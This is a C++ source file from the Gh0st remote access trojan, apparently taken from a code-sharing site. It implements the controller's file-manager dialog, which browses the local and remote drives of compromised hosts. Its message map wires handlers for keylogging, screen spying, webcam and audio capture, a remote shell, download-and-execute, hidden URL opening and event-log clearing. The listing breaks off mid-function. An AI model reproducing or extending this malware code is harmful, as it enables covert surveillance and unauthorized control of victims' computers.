www.pudn.com > Gh0st.rar > FileManagerDlg.cpp, change:2011-05-25,size:63786b


// FileManagerDlg.cpp : implementation file 
// 
 
#include "stdafx.h" 
#include "Client.h" 
#include "ClientDlg.h" 
#include "FileManagerDlg.h" 
#include "FileTransferModeDlg.h" 
#include "InputDlg.h" 
#include <afxpriv.h> 
#ifdef _DEBUG 
#define new DEBUG_NEW 
#undef THIS_FILE 
static char THIS_FILE[] = __FILE__; 
#endif 
 
extern CClientDlg* g_pFrame; 
///////////////////////////////////////////////////////////////////////////// 
// CFileManagerDlg dialog 
CFileManagerDlg::CFileManagerDlg(CWnd* pParent /*=NULL*/) 
	: CDialog(CFileManagerDlg::IDD, pParent) 
{ 
	//{{AFX_DATA_INIT(CFileManagerDlg) 
		// NOTE: the ClassWizard will add member initialization here 
	//}}AFX_DATA_INIT 
	SHFILEINFO	sfi; 
	SHGetFileInfo 
		( 
		"\\\\", 
		FILE_ATTRIBUTE_NORMAL,  
		&sfi, 
		sizeof(SHFILEINFO),  
		SHGFI_ICON | SHGFI_USEFILEATTRIBUTES 
		); 
	m_hIcon = sfi.hIcon;	 
	HIMAGELIST hImageList; 
	// 加载系统图标列表 
	hImageList = (HIMAGELIST)SHGetFileInfo 
		( 
		NULL, 
		0, 
		&sfi, 
        sizeof(SHFILEINFO), 
		SHGFI_LARGEICON | SHGFI_SYSICONINDEX 
		); 
	m_pImageList_Large = CImageList::FromHandle(hImageList); 
	 
	// 加载系统图标列表 
	hImageList = (HIMAGELIST)SHGetFileInfo 
		( 
		NULL, 
		0, 
		&sfi, 
        sizeof(SHFILEINFO), 
		SHGFI_SMALLICON | SHGFI_SYSICONINDEX 
		); 
	m_pImageList_Small = CImageList::FromHandle(hImageList); 
 
	m_bIsStop = false; 
	m_bHFirst=TRUE;//本地硬盘第一次显示加入树,以后不加入防止重复 
	m_bRHFirst=TRUE;//远程硬盘第一次显示加入树,以后不加入防止重复 
	m_ViewStyle=LVS_REPORT;//文件列表初始显示风格 
	m_nFNum=0;//共有多少个对象 
	m_hSelectNode=NULL; 
	m_bLocalOrRemote=TRUE; //TRUE为本地 FALSE为远程 
	m_Local_Path=""; 
	m_Remote_Path=""; 
	m_nTransferMode = TRANSFER_MODE_NORMAL; 
	m_nOperatingFileLength = 0; 
	m_nCounter = 0; 
    m_bIsDownload=false; 
	m_bIsUpload=false; 
	m_bIsUploadFolder=FALSE; 
} 
 
 
void CFileManagerDlg::DoDataExchange(CDataExchange* pDX) 
{ 
	CDialog::DoDataExchange(pDX); 
	//{{AFX_DATA_MAP(CFileManagerDlg) 
	DDX_Control(pDX, IDC_PROGRESS_FILE, m_ProgressCtrl); 
	DDX_Control(pDX, IDC_LIST_FILE, m_list_file); 
	DDX_Control(pDX, IDC_TREE_FILE, m_tree_file); 
	//}}AFX_DATA_MAP 
} 
 
 
BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog) 
	//{{AFX_MSG_MAP(CFileManagerDlg) 
	ON_COMMAND(IDM_FBIGICON, OnFbigicon) 
	ON_COMMAND(IDM_FSMALLICON, OnFsmallicon) 
	ON_COMMAND(IDM_FLIST, OnFlist) 
	ON_COMMAND(IDM_FREPORT, OnFreport) 
	ON_NOTIFY(NM_DBLCLK, IDC_LIST_FILE, OnDblclkListFile) 
	ON_COMMAND(IDT_FPREV, OnFprev) 
	ON_COMMAND(IDT_FCOPY, OnFcopy) 
	ON_COMMAND(IDT_FDELETE, OnFdelete) 
	ON_COMMAND(IDT_FNEWFOLDER, OnFnewfolder) 
	ON_COMMAND(IDT_FVIEW, OnFview) 
	ON_COMMAND(IDT_FSTOP, OnFstop) 
	ON_UPDATE_COMMAND_UI(IDT_FPREV, OnUpdateFprev) 
	ON_UPDATE_COMMAND_UI(IDT_FCOPY, OnUpdateFcopy) 
	ON_UPDATE_COMMAND_UI(IDT_FDELETE, OnUpdateFdelete) 
	ON_UPDATE_COMMAND_UI(IDT_FNEWFOLDER, OnUpdateFnewfolder) 
	ON_UPDATE_COMMAND_UI(IDT_FSTOP, OnUpdateFstop) 
	ON_NOTIFY(TVN_SELCHANGED, IDC_TREE_FILE, OnSelchangedTreeFile) 
	ON_NOTIFY(NM_RCLICK, IDC_LIST_FILE, OnRclickListFile) 
	ON_NOTIFY(NM_RCLICK, IDC_TREE_FILE, OnRclickTreeFile) 
	ON_COMMAND(IDM_SCREENSPY, OnScreenspy) 
	ON_COMMAND(IDM_KEYBOARD, OnKeyboard) 
	ON_COMMAND(IDM_REMOTESHELL, OnRemoteshell) 
	ON_COMMAND(IDM_SHUTDOWN, OnShutdown)	 
	ON_COMMAND(IDM_AUDIO_LISTEN, OnAudioListen) 
	ON_COMMAND(IDM_LOGOFF, OnLogoff) 
	ON_COMMAND(IDM_REMOVE, OnRemove) 
	ON_COMMAND(IDM_WEBCAM, OnWebcam) 
	ON_COMMAND(IDM_REBOOT, OnReboot) 
	ON_COMMAND(IDM_DOWNEXEC, OnDownexec) 
	ON_COMMAND(IDM_UPDATE_SERVER, OnUpdateServer) 
	ON_COMMAND(IDM_OPEN_URL_HIDE, OnOpenUrlHide) 
	ON_COMMAND(IDM_OPEN_URL_SHOW, OnOpenUrlShow) 
	ON_COMMAND(IDM_CLEANEVENT, OnCleanevent) 
	ON_COMMAND(IDM_DISCONNECT, OnDisconnect)	 
	ON_COMMAND(IDM_SYSTEM, OnSystem) 
	ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_FILE, OnEndlabeleditListFile) 
	ON_COMMAND(IDM_RENAME, OnRename) 
	ON_COMMAND(IDM_DELETE, OnDelete) 
	ON_COMMAND(IDM_NEWFOLDER, OnNewfolder) 
	ON_COMMAND(IDM_REFRESH, OnRefresh) 
	ON_COMMAND(IDM_LOCAL_OPEN, OnLocalOpen) 
	ON_COMMAND(IDM_REMOTE_OPEN_SHOW, OnRemoteOpenShow) 
	ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide) 
	ON_COMMAND(IDM_DOWNLOAD, OnDownload) 
	ON_COMMAND(IDM_UPLOAD, OnUpload) 
	//}}AFX_MSG_MAP 
END_MESSAGE_MAP() 
 
 
///////////////////////////////////////////////////////////////////////////// 
// CFileManagerDlg message handlers 
int	GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes) 
{ 
	SHFILEINFO	sfi; 
	if (dwFileAttributes == INVALID_FILE_ATTRIBUTES) 
		dwFileAttributes = FILE_ATTRIBUTE_NORMAL; 
	else 
		dwFileAttributes |= FILE_ATTRIBUTE_NORMAL; 
	 
	SHGetFileInfo 
		( 
		lpFileName, 
		dwFileAttributes,  
		&sfi, 
		sizeof(SHFILEINFO),  
		SHGFI_SYSICONINDEX | SHGFI_USEFILEATTRIBUTES 
		); 
	 
	return sfi.iIcon; 
} 
 
BOOL CFileManagerDlg::OnInitDialog()  
{ 
	CDialog::OnInitDialog(); 
	 
	// TODO: Add extra initialization here 
	// Create image list 
	m_ImageList.Create(16, 16, ILC_COLORDDB | ILC_MASK, 0, 1);	 
    HICON hIcon1=AfxGetApp()->LoadIcon(IDI_ICON1); 
	HICON hIcon2=AfxGetApp()->LoadIcon(IDI_ICON2); 
    HICON hIcon3=AfxGetApp()->LoadIcon(IDI_ICON3); 
    HICON hIcon4=AfxGetApp()->LoadIcon(IDI_ICON4); 
    HICON hIcon5=AfxGetApp()->LoadIcon(IDI_ICON5); 
    HICON hIcon6=AfxGetApp()->LoadIcon(IDI_ICON6); 
	HICON hIcon7=AfxGetApp()->LoadIcon(IDI_COMPUTER);//我的电脑图标 
	HICON hIcon8=AfxGetApp()->LoadIcon(IDI_GROUP); //自动上线主机分组图标 
	HICON hIcon9=AfxGetApp()->LoadIcon(IDI_SEARCH); //符合条件主机分组图标 
	m_ImageList.Add(hIcon1); 
	m_ImageList.Add(hIcon2); 
	m_ImageList.Add(hIcon3); 
	m_ImageList.Add(hIcon4); 
	m_ImageList.Add(hIcon5); 
	m_ImageList.Add(hIcon6); 
	m_ImageList.Add(hIcon7); 
	m_ImageList.Add(hIcon8); 
	m_ImageList.Add(hIcon9); 
	/*通过位图加载硬盘图标*/ 
	HBITMAP hBitmap = (HBITMAP)LoadImage(AfxGetResourceHandle(),  
		MAKEINTRESOURCE(IDB_HARDDISK),IMAGE_BITMAP, 0, 0,LR_DEFAULTSIZE|LR_CREATEDIBSECTION); 
	m_ImageList.Add(CBitmap::FromHandle(hBitmap), RGB(255,255,255));    
	::DeleteObject(hBitmap); 
	 
	m_tree_file.SetImageList(&m_ImageList, TVSIL_NORMAL);	 
 
	m_hMyComputer=m_tree_file.InsertItem("我的电脑", 6, 6); 
	m_hAutoComputer=m_tree_file.InsertItem("自动上线主机(0)", 7, 7); 
	m_hSearchComputer=m_tree_file.InsertItem("符合条件主机(0)", 8, 8); 
	 
	/*为真彩工具条添加的代码*/	 
	// 一定要定义工具栏ID,不然RepositionBars会重置工具栏的位置 
	// ID 定义在AFX_IDW_CONTROLBAR_FIRST AFX_IDW_CONTROLBAR_LAST 
	// 本地工具条 CBRS_TOP 会在工具条上产生一条线 
    if (!m_wndToolBar.Create(this, WS_CHILD |WS_VISIBLE | CBRS_ALIGN_ANY | CBRS_TOOLTIPS | CBRS_FLYBY, ID_FILE_TOOLBAR)  
		||!m_wndToolBar.LoadToolBar(IDR_TOOLBAR_FILEMANAGER)) 
    { 
        TRACE0("Failed to create toolbar "); 
        return -1; //Failed to create 
    } 
	m_wndToolBar.ModifyStyle(0, TBSTYLE_FLAT);    //Fix for WinXP 
	m_wndToolBar.LoadTrueColorToolBar 
		( 
		24,    //加载真彩工具条 
		IDB_TOOLBAR, 
		IDB_TOOLBAR, 
		IDB_TOOLBAR_DISABLE 
		); 
	// 添加下拉按钮 
	m_wndToolBar.AddDropDownButton(this, IDT_FVIEW, IDR_FILE_VIEW); 
 
	// 为列表视图设置ImageList 
	m_list_file.SetImageList(m_pImageList_Large, LVSIL_NORMAL); 
	m_list_file.SetImageList(m_pImageList_Small, LVSIL_SMALL); 
	m_ProgressCtrl.SetRange(0, 100);           //设置进度条范围 
    m_ProgressCtrl.SetPos(20);                 //设置进度条当前位置 
 
	//显示工具栏 
	RECT	rect; 
	GetClientRect(&rect); 
	m_wndToolBar.MoveWindow(190, 0, rect.right-190, 40); 
 
	FixedLocalDriveList(); 
 
	return TRUE;  // return TRUE unless you set the focus to a control 
	              // EXCEPTION: OCX Property Pages should return FALSE 
} 
 
void CFileManagerDlg::FixedLocalDriveList() 
{ 
	char	DriveString[256]; 
	char	*pDrive = NULL; 
	m_list_file.DeleteAllItems(); 
	while(m_list_file.DeleteColumn(0) != 0); 
	m_list_file.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES); 
	m_list_file.InsertColumn(0, "名称",  LVCFMT_LEFT, 100); 
	m_list_file.InsertColumn(1, "类型", LVCFMT_LEFT, 100); 
	m_list_file.InsertColumn(2, "总大小", LVCFMT_LEFT, 100); 
	m_list_file.InsertColumn(3, "可用空间", LVCFMT_LEFT, 100); 
	GetLogicalDriveStrings(sizeof(DriveString), DriveString); 
	pDrive = DriveString; 
	 
	char	FileSystem[MAX_PATH]; 
	unsigned __int64	HDAmount = 0; 
	unsigned __int64	HDFreeSpace = 0; 
	unsigned long		AmntMB = 0; // 总大小 
	unsigned long		FreeMB = 0; // 剩余空间 
	 
	m_nFNum=0;	 
	 
	for (int i = 0; *pDrive != '\0'; i++, pDrive += lstrlen(pDrive) + 1) 
	{ 
		// 得到磁盘相关信息 
		memset(FileSystem, 0, sizeof(FileSystem)); 
		// 得到文件系统信息及大小 
		GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH); 
		 
		int	nFileSystemLen = lstrlen(FileSystem) + 1; 
		if (GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL)) 
		{	 
			AmntMB = HDAmount / 1024 / 1024; 
			FreeMB = HDFreeSpace / 1024 / 1024; 
		} 
		else 
		{ 
			AmntMB = 0; 
			FreeMB = 0; 
		} 
		char DriveName[4]={0}; 
		strcpy(DriveName,pDrive); 
		DriveName[2]=0; 
		if (m_bHFirst) 
		 m_tree_file.SetItemData(m_tree_file.InsertItem(DriveName,9,9,m_hMyComputer),1); 
		 
 
		int	nItem = m_list_file.InsertItem(i, pDrive, GetIconIndex(pDrive, GetFileAttributes(pDrive))); 
		m_list_file.SetItemData(nItem, 1); 
		if (lstrlen(FileSystem) == 0) 
		{ 
			SHFILEINFO	sfi; 
			SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); 
			m_list_file.SetItemText(nItem, 1, sfi.szTypeName); 
		} 
		else 
		{ 
			m_list_file.SetItemText(nItem, 1, FileSystem); 
		} 
		CString	str; 
		str.Format("%8.1f GB", (float)AmntMB / 1024); 
		m_list_file.SetItemText(nItem, 2, str); 
		str.Format("%8.1f GB", (float)FreeMB / 1024); 
		m_list_file.SetItemText(nItem, 3, str); 
 
		m_nFNum++; 
	} 
	 
	ShowMessage("本地:装载驱动器目录完成"); 
	m_bHFirst=FALSE; 
} 
 
void CFileManagerDlg::FixedLocalFileList(CString directory) 
{ 
	if (directory.GetLength() == 0) 
	{ 
		int	nItem = m_list_file.GetSelectionMark(); 
		 
		// 如果有选中的,是目录 
		if (nItem != -1) 
		{ 
			if (m_list_file.GetItemData(nItem) == 1) 
			{ 
				directory = m_list_file.GetItemText(nItem, 0); 
			} 
		} 
		else 
		{ 
			return; 
		} 
	}		 
	 
	// 得到父目录 
	if (directory == "..") 
	{ 
		m_Local_Path = GetParentDirectory(m_Local_Path); 
	} 
	// 刷新当前用 
	else if (directory != ".") 
	{	 
		m_Local_Path += directory; 
		if(m_Local_Path.Right(1) != "\\") 
			m_Local_Path += "\\"; 
	} 
	 
	 
	// 是驱动器的根目录,返回磁盘列表 
	if (m_Local_Path.GetLength() == 0) 
	{ 
		FixedLocalDriveList(); 
		return; 
	} 
	 
	// 重建标题 
	m_list_file.DeleteAllItems(); 
	while(m_list_file.DeleteColumn(0) != 0); 
	m_list_file.InsertColumn(0, "名称",  LVCFMT_LEFT, 100); 
	m_list_file.InsertColumn(1, "大小", LVCFMT_LEFT, 100); 
	m_list_file.InsertColumn(2, "类型", LVCFMT_LEFT, 100); 
	m_list_file.InsertColumn(3, "修改日期", LVCFMT_LEFT, 130); 
	 
	int			nItemIndex = 0; 
	m_list_file.SetItemData 
		( 
		m_list_file.InsertItem(nItemIndex++, "..", GetIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)), 
		1 
		); 
	 
	m_nFNum=0; 
 
	// i 为 0 时列目录,i 为 1时列文件 
	for (int i = 0; i < 2; i++) 
	{ 
		CFileFind	file; 
		BOOL		bContinue; 
		bContinue = file.FindFile(m_Local_Path + "*.*"); 
		while (bContinue) 
		{	 
			bContinue = file.FindNextFile(); 
			if (file.IsDots())	 
				continue; 
			bool bIsInsert = !file.IsDirectory() == i; 
			 
			if (!bIsInsert) 
				continue; 
			 
			int nItem = m_list_file.InsertItem(nItemIndex++, file.GetFileName(),  
				GetIconIndex(file.GetFileName(), GetFileAttributes(file.GetFilePath()))); 
			m_list_file.SetItemData(nItem,	file.IsDirectory()); 
			SHFILEINFO	sfi; 
			SHGetFileInfo(file.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);    
			m_list_file.SetItemText(nItem, 2, sfi.szTypeName); 
			 
			CString str; 
			str.Format("%8d KB", file.GetLength() / 1024 + (file.GetLength() % 1024 ? 1 : 0)); 
			m_list_file.SetItemText(nItem, 1, str); 
			CTime time; 
			file.GetLastWriteTime(time); 
			m_list_file.SetItemText(nItem, 3, time.Format("%Y-%m-%d %H:%M")); 
 
			m_nFNum++; 
		} 
	} 
	 
	ShowMessage("本地:装载目录 %s 完成", m_Local_Path); 
} 
 
void CFileManagerDlg::FixedRemoteDriveList() 
{ 
    m_nFNum=0; 
	m_list_file.DeleteAllItems(); 
	// 重建Column 
	while(m_list_file.DeleteColumn(0) != 0); 
	m_list_file.InsertColumn(0, "名称",  LVCFMT_LEFT, 100); 
	m_list_file.InsertColumn(1, "类型", LVCFMT_LEFT, 100); 
	m_list_file.InsertColumn(2, "总大小", LVCFMT_LEFT, 100); 
	m_list_file.InsertColumn(3, "可用空间", LVCFMT_LEFT, 100); 
 
 
	char	*pDrive = NULL; 
	pDrive = (char *)m_bRemoteDriveList; 
 
	unsigned long		AmntMB = 0; // 总大小 
	unsigned long		FreeMB = 0; // 剩余空间 
//	char				VolName[MAX_PATH]; 
//	char				FileSystem[MAX_PATH]; 
 
	/* 
	6	DRIVE_FLOPPY 
	7	DRIVE_REMOVABLE 
	8	DRIVE_FIXED 
	9	DRIVE_REMOTE 
	10	DRIVE_REMOTE_DISCONNECT 
	11	DRIVE_CDROM 
	*/ 
	int	nIconIndex = -1; 
	for (int i = 0; pDrive[i] != '\0';) 
	{ 
		if (pDrive[i] == 'A' || pDrive[i] == 'B') 
		{ 
			nIconIndex = 6; 
		} 
		else 
		{ 
			switch (pDrive[i + 1]) 
			{ 
			case DRIVE_REMOVABLE: 
				nIconIndex = 7; 
				break; 
			case DRIVE_FIXED: 
				nIconIndex = 8; 
				break; 
			case DRIVE_REMOTE: 
				nIconIndex = 9; 
				break; 
			case DRIVE_CDROM: 
				nIconIndex = 11; 
				break; 
			default: 
				nIconIndex = 8; 
				break;		 
			} 
		}	 
		CString	str; 
		str.Format("%c:\\", pDrive[i]); 
		int	nItem = m_list_file.InsertItem(i, str, nIconIndex); 
		m_list_file.SetItemData(nItem, 1); 
	 
		if (m_bRHFirst) 
		{ 
		str.Format("%c:",pDrive[i]); 
		m_tree_file.SetItemData(m_tree_file.InsertItem(str,9,9,m_hSelectNode),2); 
		m_tree_file.Expand(m_hSelectNode,TVE_EXPAND); 
		} 
		 
 
		memcpy(&AmntMB, pDrive + i + 2, 4); 
		memcpy(&FreeMB, pDrive + i + 6, 4); 
		str.Format("%8.1f GB", (float)AmntMB / 1024); 
		m_list_file.SetItemText(nItem, 2, str); 
		str.Format("%8.1f GB", (float)FreeMB / 1024); 
		m_list_file.SetItemText(nItem, 3, str); 
		 
		i += 10; 
 
		char	*lpFileSystemName = NULL; 
		char	*lpTypeName = NULL; 
 
		lpTypeName = pDrive + i; 
		i += lstrlen(pDrive + i) + 1; 
		lpFileSystemName = pDrive + i; 
 
		// 磁盘类型, 为空就显示磁盘名称 
		if (lstrlen(lpFileSystemName) == 0) 
		{ 
			m_list_file.SetItemText(nItem, 1, lpTypeName); 
		} 
		else 
		{ 
			m_list_file.SetItemText(nItem, 1, lpFileSystemName); 
		} 
 
        m_nFNum++; 
		i += lstrlen(pDrive + i) + 1; 
	} 
 
	ShowMessage("远程:装载驱动器目录完成"); 
	m_bRHFirst=FALSE; 
} 
 
void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) 
{ 
	m_nFNum=0; 
	// 重建标题 
	m_list_file.DeleteAllItems(); 
	while(m_list_file.DeleteColumn(0) != 0); 
	m_list_file.InsertColumn(0, "名称",  LVCFMT_LEFT, 200); 
	m_list_file.InsertColumn(1, "大小", LVCFMT_LEFT, 100); 
	m_list_file.InsertColumn(2, "类型", LVCFMT_LEFT, 100); 
	m_list_file.InsertColumn(3, "修改日期", LVCFMT_LEFT, 130); 
	int	nItemIndex = 0; 
	m_list_file.SetItemData 
		( 
		m_list_file.InsertItem(nItemIndex++, "..", GetIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)), 
		1 
		); 
	/* 
	ListView 消除闪烁 
	更新数据前用SetRedraw(FALSE)    
	更新后调用SetRedraw(TRUE) 
	*/ 
	m_list_file.SetRedraw(FALSE); 
 
	if (dwBufferLen != 0) 
	{ 
		//  
		for (int i = 0; i < 2; i++) 
		{ 
			// 跳过Token,共5字节 
			char *pList = (char *)(pbBuffer + 1);			 
			for(char *pBase = pList; pList - pBase < dwBufferLen - 1;) 
			{ 
				char	*pszFileName = NULL; 
				DWORD	dwFileSizeHigh = 0; // 文件高字节大小 
				DWORD	dwFileSizeLow = 0; // 文件低字节大小 
				int		nItem = 0; 
				bool	bIsInsert = false; 
				FILETIME	ftm_strReceiveLocalFileTime; 
 
				int	nType = *pList ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL; 
				// i 为 0 时,列目录,i为1时列文件 
				bIsInsert = !(nType == FILE_ATTRIBUTE_DIRECTORY) == i; 
				pszFileName = ++pList; 
 
				if (bIsInsert) 
				{ 
					nItem = m_list_file.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType)); 
					m_list_file.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY); 
					SHFILEINFO	sfi; 
					SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);    
					m_list_file.SetItemText(nItem, 2, sfi.szTypeName); 
				    m_nFNum++; 
				} 
 
				// 得到文件大小 
				pList += lstrlen(pszFileName) + 1; 
				if (bIsInsert) 
				{ 
					memcpy(&dwFileSizeHigh, pList, 4); 
					memcpy(&dwFileSizeLow, pList + 4, 4); 
					CString strSize; 
					strSize.Format("%8d KB", (dwFileSizeHigh * (MAXDWORD+1)) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0)); 
					m_list_file.SetItemText(nItem, 1, strSize); 
					memcpy(&ftm_strReceiveLocalFileTime, pList + 8, sizeof(FILETIME)); 
					CTime	time(ftm_strReceiveLocalFileTime); 
					m_list_file.SetItemText(nItem, 3, time.Format("%Y-%m-%d %H:%M"));	 
				} 
				pList += 16; 
			} 
		} 
	} 
 
	m_list_file.SetRedraw(TRUE); 
	// 恢复窗口 
	m_list_file.EnableWindow(TRUE); 
 
	ShowMessage("远程:装载目录 %s 完成", m_Remote_Path); 
} 
 
void CFileManagerDlg::ShowMessage(char *lpFmt, ...) 
{ 
	char buff[1024]; 
    va_list    arglist; 
    va_start( arglist, lpFmt ); 
	 
	memset(buff, 0, sizeof(buff));	 
	vsprintf(buff, lpFmt, arglist); 
    CString temp; 
	temp.Format("共有%d个对象",m_nFNum); 
    g_pFrame->m_wndStatusBar.SetText(temp,0,0); 
	g_pFrame->m_wndStatusBar.SetText(buff,1,0); 
    va_end( arglist ); 
} 
 
void CFileManagerDlg::OnFbigicon()  
{ 
	// TODO: Add your command handler code here 
	m_list_file.ModifyStyle(LVS_TYPEMASK, LVS_ICON); 
	m_ViewStyle=LVS_ICON; 
} 
 
void CFileManagerDlg::OnFsmallicon()  
{ 
	// TODO: Add your command handler code here 
	m_list_file.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON); 
	m_ViewStyle=LVS_SMALLICON; 
} 
 
void CFileManagerDlg::OnFlist()  
{ 
	// TODO: Add your command handler code here 
	m_list_file.ModifyStyle(LVS_TYPEMASK, LVS_LIST); 
	m_ViewStyle=LVS_LIST; 
} 
 
void CFileManagerDlg::OnFreport()  
{ 
	// TODO: Add your command handler code here 
	m_list_file.ModifyStyle(LVS_TYPEMASK, LVS_REPORT); 
	m_ViewStyle=LVS_REPORT; 
} 
 
void CFileManagerDlg::OnDblclkListFile(NMHDR* pNMHDR, LRESULT* pResult)  
{ 
	// TODO: Add your control notification handler code here 
	if (m_list_file.GetSelectedCount() == 0 || m_list_file.GetItemData(m_list_file.GetSelectionMark()) != 1) 
		return; 
	if (m_bLocalOrRemote) 
	 FixedLocalFileList(); 
	else  
	 GetRemoteFileList(); 
	 
	*pResult = 0; 
} 
 
CString CFileManagerDlg::GetParentDirectory(CString strPath) 
{ 
	CString	strCurPath = strPath; 
	int Index = strCurPath.ReverseFind('\\'); 
	if (Index == -1) 
	{ 
		return strCurPath; 
	} 
	CString str = strCurPath.Left(Index); 
	Index = str.ReverseFind('\\'); 
	if (Index == -1) 
	{ 
		strCurPath = ""; 
		return strCurPath; 
	} 
	strCurPath = str.Left(Index); 
	 
	if(strCurPath.Right(1) != "\\") 
		strCurPath += "\\"; 
	return strCurPath; 
} 
 
BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg)  
{ 
	// TODO: Add your specialized code here and/or call the base class 
	if(m_wndToolBar.IsWindowVisible()) 
	{ 
		CWnd* pWndParent = m_wndToolBar.GetParent(); 
		m_wndToolBar.OnUpdateCmdUI((CFrameWnd*)this, TRUE); 
	} 
	return CDialog::PreTranslateMessage(pMsg); 
} 
 
void CFileManagerDlg::OnFprev()  
{ 
	// TODO: Add your command handler code here 
	if (m_bLocalOrRemote) 
      FixedLocalFileList(".."); 
	else 
	  GetRemoteFileList(".."); 
} 
 
void CFileManagerDlg::OnFcopy()  
{ 
	// TODO: Add your command handler code here 
	OnDownload(); 
} 
 
void CFileManagerDlg::OnFdelete()  
{ 
	// TODO: Add your command handler code here 
	if (m_bLocalOrRemote) 
	{ 
		OnLocalDelete(); 
	} 
	else 
	{ 
		OnRemoteDelete(); 
	}	 
} 
 
void CFileManagerDlg::OnFnewfolder()  
{ 
	// TODO: Add your command handler code here 
	if (m_bLocalOrRemote) 
	{ 
		OnLocalNewfolder(); 
	} 
	else 
	{ 
		OnRemoteNewfolder(); 
	}	 
} 
 
void CFileManagerDlg::OnFview()  
{ 
	// TODO: Add your command handler code here 
	switch(m_ViewStyle) 
	{ 
	case LVS_ICON: 
		{ 
			m_list_file.ModifyStyle(m_ViewStyle,LVS_SMALLICON); 
			m_ViewStyle = LVS_SMALLICON; 
			 
		} 
		break; 
	case LVS_SMALLICON: 
		{ 
			m_list_file.ModifyStyle(m_ViewStyle,LVS_LIST); 
			m_ViewStyle = LVS_LIST; 
		} 
		break; 
	case LVS_LIST: 
		{			 
			m_list_file.ModifyStyle(m_ViewStyle,LVS_REPORT); 
			m_ViewStyle = LVS_REPORT; 
		} 
		break; 
	case LVS_REPORT: 
		{ 
			m_list_file.ModifyStyle(m_ViewStyle,LVS_ICON); 
			m_ViewStyle = LVS_ICON; 
		} 
		break; 
	default: 
		break; 
	} 
} 
 
void CFileManagerDlg::OnFstop()  
{ 
	// TODO: Add your command handler code here 
	m_bIsStop = true; 
	SendStop(); 
} 
 
void CFileManagerDlg::OnUpdateFprev(CCmdUI* pCmdUI)  
{ 
	// TODO: Add your command update UI handler code here 
	pCmdUI->Enable((m_Local_Path.GetLength()||m_Remote_Path.GetLength()) && m_list_file.IsWindowEnabled()); 
} 
 
void CFileManagerDlg::OnUpdateFcopy(CCmdUI* pCmdUI)  
{ 
	// TODO: Add your command update UI handler code here 
	pCmdUI->Enable(m_Remote_Path.GetLength()&& m_list_file.IsWindowEnabled()&& m_list_file.GetSelectedCount()); 
} 
 
void CFileManagerDlg::OnUpdateFdelete(CCmdUI* pCmdUI)  
{ 
	// TODO: Add your command update UI handler code here 
	// 不是根目录,并且选择项目大于0 
	pCmdUI->Enable((m_Local_Path.GetLength()||m_Remote_Path.GetLength())&& m_list_file.IsWindowEnabled()  &&m_list_file.GetSelectedCount() );	 
} 
 
void CFileManagerDlg::OnUpdateFnewfolder(CCmdUI* pCmdUI)  
{ 
	// TODO: Add your command update UI handler code here 
	pCmdUI->Enable((m_Local_Path.GetLength()||m_Remote_Path.GetLength() )&& m_list_file.IsWindowEnabled()); 
} 
 
void CFileManagerDlg::OnUpdateFstop(CCmdUI* pCmdUI)  
{ 
	// TODO: Add your command update UI handler code here 
	pCmdUI->Enable(!m_list_file.IsWindowEnabled() && (m_bIsUpload||m_bIsDownload)); 
} 
 
void CFileManagerDlg::OnSelchangedTreeFile(NMHDR* pNMHDR, LRESULT* pResult)  
{ 
	NM_TREEVIEW* pNMTreeView = (NM_TREEVIEW*)pNMHDR; 
	// TODO: Add your control notification handler code here	       
 
	TVITEM item = pNMTreeView->itemNew; 
	m_hSelectNode=item.hItem;//保存选中的结点句柄	     
 
	CString temp=m_tree_file.GetItemText(m_tree_file.GetParentItem(m_hSelectNode)); 
 
    if (temp.Find('(',0)!=-1) 
    {   
	  g_pFrame->m_pContext=(ClientContext *)m_tree_file.GetItemData(m_hSelectNode);//保存Context 
      g_pFrame->m_edit_connect=m_tree_file.GetItemText(m_hSelectNode);	 
	    int nCnt = g_pFrame->m_CommandBcast.m_list_computer.GetItemCount(); 
	    for (int i=0; i < nCnt; i++) 
		{ 
		 if ((ClientContext *)m_tree_file.GetItemData(m_hSelectNode) == (ClientContext *)g_pFrame->m_CommandBcast.m_list_computer.GetItemData(i)) 
		 { 
			 g_pFrame->m_edit_computer=g_pFrame->m_CommandBcast.m_list_computer.GetItemText(i,3); 
			 break; 
		 }		 
		} 
 
		BYTE	bToken = COMMAND_LIST_DRIVE; 
		g_pFrame->SendSelectCommand(&bToken, sizeof(BYTE));//发送获取远程驱动器列表 
		 m_Remote_Path=""; 
		if (!m_tree_file.ItemHasChildren(m_hSelectNode)) 
			 m_bRHFirst=TRUE; 
		else 
			m_bRHFirst=FALSE; 
	 m_bLocalOrRemote=FALSE;//远程 
	  
	 goto __end; 
    } 
	 
	temp=m_tree_file.GetItemText(m_tree_file.GetParentItem(m_tree_file.GetParentItem(m_hSelectNode))); 
	if (m_tree_file.GetParentItem(m_hSelectNode)==m_hMyComputer) 
	{ 
		m_Local_Path=""; 
		FixedLocalFileList(m_tree_file.GetItemText(item.hItem)); 
		m_bLocalOrRemote=TRUE;		 
	} 
    else if (temp.Find('(',0)!=-1) 
    { 
		m_Remote_Path=""; 
